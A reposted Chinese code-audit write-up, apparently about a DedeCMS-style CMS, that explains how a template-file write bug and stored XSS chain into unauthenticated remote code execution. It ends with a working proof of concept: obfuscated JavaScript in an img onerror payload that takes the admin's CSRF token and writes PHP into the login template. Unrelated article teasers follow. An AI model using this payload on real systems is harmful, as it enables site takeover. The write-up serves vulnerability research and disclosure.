记一次代码审计中RCE挖掘及POC编写

news2024/11/14 15:25:41

文章转自先知社区:https://xz.aliyun.com/t/13008

作者:雨下整夜

声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。

从危险的模板引入开始

在前面熟悉代码的过程中,可以注意到此CMS的模板引入方式。以catalog_add.php文件为例,直接采用了include来将htm文件包含,而不是将php文件处理的数据放入模板中。也许对于程序员来讲,呈现的效果是一样的,但是在php中,include的使用需要更谨慎才对。
include XXInclude('templets/catalog_add.htm');

图片

问题出现在src/admin/file_manage_control.php文件,此文件是用于处理文件操作,确保安全性和有效性。但是其中的防护策略并不完全有效,所以出现了漏洞。
漏洞代码位于文件修改功能

图片

查看变量处理,针对变量$activepath,处理的关键逻辑在15、16、17行。

简单来说主要目的是规范化和确保 $activepath 变量表示的文件路径是安全的,不包含目录遍历或多余的斜杠。

图片

针对变量$filename,处理的关键逻辑在44-48行。

简单来讲目的是确保文件名是安全的,不包含目录遍历攻击所需的..,并限制可以上传或编辑的文件扩展名不能为(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)其中的任意项。

图片

有防御,但是不太严。所以绕过一下即可成功修改意料之外的文件内容
1.因为其只防御了目录遍历,所以并不限制统一目录下的文件夹名
2.因为其限制的文件名后缀是(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml),所以此系统的模板文件的后缀htm会是合法的。
所以,此时可以将任意文件内容写入到htm文件中,为什么要写入到htm文件?因为此系统所使用的模板文件就是htm,而我前面提到了直接采用了include来将htm文件包含,而不是将php文件处理的数据放入模板中会造成的危害也就是这里体现出来:将php脚本放在htm中,当被include的时候,php脚本便会执行。

图片

图片

组合拳进行危害提升

上面可以通过模板文件写入的方式RCE了,但是很鸡肋,这样只能是后台rce,这时候想将漏洞变成未授权的RCE只需要解决两个问题:
1 只有管理员权限才能访问/admin路由下的大部分文件
2 只有管理员权限才有修改文件的功能权限。
第一个问题可以通过login文件来解决,因为登录页面当然不需要任何的权限即可访问。
第二个问题就是通过XSS、或者CSRF打出组合拳或者直接尝试找到SQL注入登录后台就能解决。
那接下来的思路就是通过找到有效的XSS/CSRF/SQL注入,让我们能以管理员的身份写入shell到/admin/login.htm文件中。
进入到src/admin/article_edit.php文件,此文件为系统中的文档修改功能的逻辑处理文件。
关注此处148行有一处疑似有问题的SQL语句。

图片


这个查询语句的目的是将一条记录跟新到名为 $addtable(此处即biz_arctype) 的数据库表中,关键在于此处没有使用参数化查询来防止安全问题。

$query = "UPDATE `#@__archives` SET typeid='$typeid',typeid2='$typeid2',sortrank='$sortrank',flag='$flag',click='$click',ismake='$ismake',arcrank='$arcrank',money='$money',title='$title',color='$color',writer='$writer',source='$source',litpic='$litpic',pubdate='$pubdate',notpost='$notpost',description='$description',keywords='$keywords',shorttitle='$shorttitle',filename='$filename',dutyadmin='$adminid',weight='$weight' WHERE id='$id'; ";

进一步跟进dsql->ExecuteNoneQuery函数,发现系统是在执行SQL的时候做了安全检查,跟进CheckSql,发现是有针对SQL注入存在详细的过滤,不排除有绕过SQL的手法,但是此处选择另一条简单的利用思路。

图片


因为没有对参数做xss的过滤,所以此时考虑利用存储型的XSS漏洞即可,去功能点用payload插入含有输出点的body参数进行测试,发现成功执行。

图片

整合思路编写POC

思路也是比较清晰
1.攻击者利用普通用户的文档编辑功能,将XSS的payload藏在文档中。
2.管理员用户对普通用户的文档进行审核时执行XSS的payload,在不知情的情况下将shell写在/admin/login.htm文件中
3.getshell,地址为:http://xxx/admin/login.php
POC和部分截图放在下面​​​​​​​

//将此脚本放在浏览器控制台执行即可获得payloadvar codeString = "//  获取URL\n" +    "var url = document.URL;\n" +    "var domainMatch = url.match(/^(https?:\\/\\/[^/]+)/);\n" +    "var domain = domainMatch[1];\n" +    "\n" +    "//  获取Cookie\n" +    "var cookieString = document.cookie;\n" +    "\n" +    "// 创建一个新的 form 元素\n" +    "var form = document.createElement(\"form\");\n" +    "\n" +    "// 设置 form 的属性\n" +    "form.setAttribute(\"method\", \"POST\");\n" +    "form.setAttribute(\"action\", domain+\"/admin/file_manage_control.php\");\n" +    "\n" +    "// 使用正则表达式匹配 dede_csrf_token 的值\n" +    "var csrfTokenMatch = cookieString.match(/dede_csrf_token=([^;]+)/);\n" +    "\n" +    "// 提取匹配到的值\n" +    "var csrfTokenValue = csrfTokenMatch[1]; // 提取匹配到的值\n" +    "\n" +    "// 创建并设置隐藏字段\n" +    "var fields = [\n" +    "  { name: \"fmdo\", value: \"edit\" },\n" +    "  { name: \"backurl\", value: \"\" },\n" +    "  { name: \"_csrf_token\", value: csrfTokenValue },\n" +    "  { name: \"activepath\", value: \"/admin/templets\" },\n" +    "  { name: \"filename\", value: \"login.htm\" },\n" +    "  { name: \"str\", value: \"1<?php phpinfo();?>\" },\n" +    "  { name: \"B1\", value: \"\" }\n" +    "];\n" +    "\n" +    "// 遍历字段数组并创建相应的 input 元素\n" +    "fields.forEach(function (field) {\n" +    "  var input = document.createElement(\"input\");\n" +    "  input.setAttribute(\"type\", \"hidden\");\n" +    "  input.setAttribute(\"name\", field.name);\n" +    "  input.setAttribute(\"value\", field.value);\n" +    "  form.appendChild(input);\n" +    "});\n" +    "\n" +    "// 创建一个提交按钮并添加到 form 中\n" +    "var submitButton = document.createElement(\"input\");\n" +    "submitButton.setAttribute(\"type\", \"submit\");\n" +    "submitButton.setAttribute(\"value\", \"Submit request\");\n" +    "form.appendChild(submitButton);\n" +    "\n" +    "// 将 form 添加到文档中并自动提交\n" +    "document.body.appendChild(form);\n" +    "form.submit();";var asciiArray = [];for (var i = 0; i < codeString.length; i++) {    asciiArray.push(codeString.charCodeAt(i));}var asciiString = asciiArray.join(',');console.log('<img src="x"\n  onerror="eval(String.fromCharCode('+asciiString+'))">')

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1230856.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网络工程师网络配置经典例题(二)

目录 1、access、trunk 2、配置终结子接口 3、DHCP接口地址池、DNS 4、静态默认路由、接口IP 5、ACL、NAT 使内网用户可以访问外网 6、VLANIF 某公司拥有多个部门且位于不同网段&#xff0c;各部门均有访问Internet的需求。现要求用户通过二层交换机和路由器访问外部网络…

微信可以注册小号啦,看看怎么操作

微信支持同一手机号绑定两个账号啦&#xff01; 生活号和工作号可以分开啦&#xff5e;实用又简单&#xff01; 详细步骤如下&#xff1a; ①点击微信-我的-设置 ②点击“切换账号” ③点击“添加账号” ④点击“注册新账号” ⑤点击“通过当前微信的手机号辅助注册” ⑥安…

系列十、ReentrantReadWriteLock

一、概述 ReentrantReadWriteLock是ReadWriteLock的一个子类&#xff0c;具有读锁和写锁的双重功能&#xff0c;通常用于做缓存。 二、案例代码 2.1、ReentrantReadWriteLockCache /*** Author : 一叶浮萍归大海* Date: 2023/11/20 17:57* Description: 使用ReentrantReadWri…

学习笔记—吴恩达《AI for everyone》

【写在前面】 学习视频来源&#xff1a;B站“GPT中英字幕课程资源”&#xff08;见图片水印&#xff09;。 此文是自学笔记&#xff0c;主要是截图视频课件中的一些知识点&#xff0c;只做自学使用。 一. AI 介绍 二. 机器学习 Machine Learning 三. 什么是数据 What is AI 四…

成为电车销量的“中坚力量”,微小型车不能只有“低价”?

日常交通中&#xff0c;越来越多的汽车开始“绿牌出行”&#xff0c;市场的最新销量也不断验证着新能源车抢占更多市场的事实。 11月初&#xff0c;国内多家车企公布10月销量数据&#xff0c;其中新能源汽车销量增长仍然亮眼。根据中国工业和信息化部数据&#xff0c;我国汽车…

【18年扬大真题】给定有m个整数的递增有序数组a和有n个整数的递减有序数组b,将a数组和b数组归并为递增有序的数组c

【18年扬大真题】 给定有m个整数的递增有序数组a和有n个整数的递减有序数组b&#xff0c; 将a数组和b数组归并为递增有序的数组c。 void Merge(int arr[],int m ,int brr[],int n,int crr[]) {int i 0;int j n-1;int k 0;while(i < m&&j > 0) {if (arr[i] &l…

【项目实战】多租户实现数据库动态切换

文章目录 背景多数据源准备工作整体思路 多数据源切换方式准备工作自动切换&#xff08;DS方式&#xff09;配置文件设置 手动切换配置文件设置项目启动加载数据源&#xff1a;使用注解PostConstruct添加数据源 总结 背景 最近公司项目中需要做多租户进行数据源切换的业务&…

Vue2问题:分享一个通用多文件类型预览库

前端功能问题系列文章&#xff0c;点击上方合集↑ 序言 大家好&#xff0c;我是大澈&#xff01; 本文约2000字&#xff0c;整篇阅读大约需要3分钟。 本文主要内容分三部分&#xff0c;第一部分是需求分析&#xff0c;第二部分是实现步骤&#xff0c;第三部分是问题详解。 …

UI自动化测试神器Playwright(Java版)(保存登录cookie,解决免登录)

&#x1f3ad; Playwright在称为浏览器上下文的隔离环境中执行测试。该隔离模型提高了可重复性并防止相关联的测试脚本执行失败。测试可以加载现有的已验证状态&#xff0c;比如获取已登录的状态&#xff08;Cookie&#xff09;&#xff0c;在后续脚本中复用。这消除了在每个测…

金蝶 EAS及EAS Cloud任意文件上传漏洞复现

0x01 产品简介 金蝶EAS Cloud为集团型企业提供功能全面、性能稳定、扩展性强的数字化平台&#xff0c;帮助企业链接外部产业链上下游&#xff0c;实现信息共享、风险共担&#xff0c;优化生态圈资源配置&#xff0c;构筑产业生态的护城河&#xff0c;同时打通企业内部价值链的数…

SQL 中的 NULL 值:定义、测试和处理空数据,以及 SQL UPDATE 语句的使用

SQL NULL 值 什么是 NULL 值&#xff1f; NULL 值是指字段没有值的情况。如果表中的字段是可选的&#xff0c;那么可以插入新记录或更新记录而不向该字段添加值。此时&#xff0c;该字段将保存为 NULL 值。需要注意的是&#xff0c;NULL 值与零值或包含空格的字段不同。具有 …

MR混合现实教学系统在汽车检修与维护课堂教学中的应用

传统的汽车检修与维护课堂教学主要依赖教师口头讲解和黑板演示&#xff0c;这种方式存在一定的局限性。首先&#xff0c;对于一些复杂的机械结构和操作过程&#xff0c;教师难以生动形象地展示给学生。其次&#xff0c;学生无法直接观察到实际操作中的细节和注意事项&#xff0…

WPF Button点击鼠标左键弹出菜单

目录 ContextMenu介绍WPF实现点击鼠标左键弹出菜单如何禁用右键菜单如何修改菜单样式菜单位置设置 本篇博客介绍WPF点击按钮弹出菜单&#xff0c;效果如下&#xff1a; 菜单的位置、央视可以自定义。 实现技巧&#xff1a;不在xaml里菜单&#xff0c;在按钮左键按下的点击事件里…

锚点优化步步为赢:详细解析关键知识点和最佳实践,提升网页的关联性与权威性!

为所有文本链接使用描述性锚文本。大多数搜索引擎在对网页进行排名时都会考虑输入链接的锚文本。下面是一个锚文本示例&#xff1a; <a href"otherpage.htm" title"Anchor Title">Anchor Text</a>下面列出了一些关于锚点的注意事项&#xff1…

LabVIEW如何获取波形图上游标所在位置的数值

LabVIEW如何获取波形图上游标所在位置的数值 获取游标所在位置数值的一种方法是利用波形图的游标列表属性。 在VI的程序框图中&#xff0c;右键单击波形图并选择创建引用 &#xff0c;然后将创建的引用节点放在程序框图上。 在程序框图上放置一个属性节点&#xff0c;并将其…

C++类与对象(3)—拷贝构造函数运算符重载

目录 一、拷贝构造函数 1、定义 2、特征 3、内置与自定义类型 4、const修饰参数 5、默认生成 浅拷贝 深拷贝 6、总结 二、运算符重载 1、定义 2、判断是否相等 3、比较大小 4、赋值 5、总结 一、拷贝构造函数 1、定义 拷贝构造函数&#xff1a;只有单个形参…

多目标应用:基于非支配排序的蜣螂优化算法NSDBO求解微电网多目标优化调度(MATLAB)

一、微网系统运行优化模型 微电网优化模型介绍&#xff1a; 微电网多目标优化调度模型简介_IT猿手的博客-CSDN博客 二、基于非支配排序的蜣螂优化算法NSDBO 基于非支配排序的蜣螂优化算法NSDBO简介&#xff1a; https://blog.csdn.net/weixin46204734/article/details/128…

如何挖掘xss漏洞

如何挖掘xss漏洞 对于如何去挖掘一个xss漏洞我是这样理解的 在实战情况下不能一上来就使用xss语句来进行测试很容易被发现 那这种情况该怎么办呢 打开准备渗透测试的web网站&#xff0c;寻找可以收集用户输入的地方比如搜索框&#xff0c;url框等 发现后寻找注入点 选在输入…

指令系统、流水线

指令系统 分类 寻址方式 设计 能够改变控制流的指令&#xff1a;分支、跳转、过程调用、过程返回 操作码设计 MIPS 流水线 MIPS流水线 改进后 取指&#xff08;IF&#xff09; 译码&#xff08;ID&#xff09; 执行&#xff08;EX&#xff09; 存储器访问 寄存器-寄存器 A…

【Kettle实战】字符串处理及网络请求JSON格式处理

经过大量的kettle操作实践&#xff0c;我们会渐渐掌握一些技巧&#xff0c;大大减轻清洗的工作量。比如在哪里 处理字符串更方便&#xff0c;在哪儿处理更合理都是一个取舍问题。 字符串拼接 MySQL中使用concat(字段1,字段2)&#xff0c;但是如果“字段2”为NULL&#xff0c;结…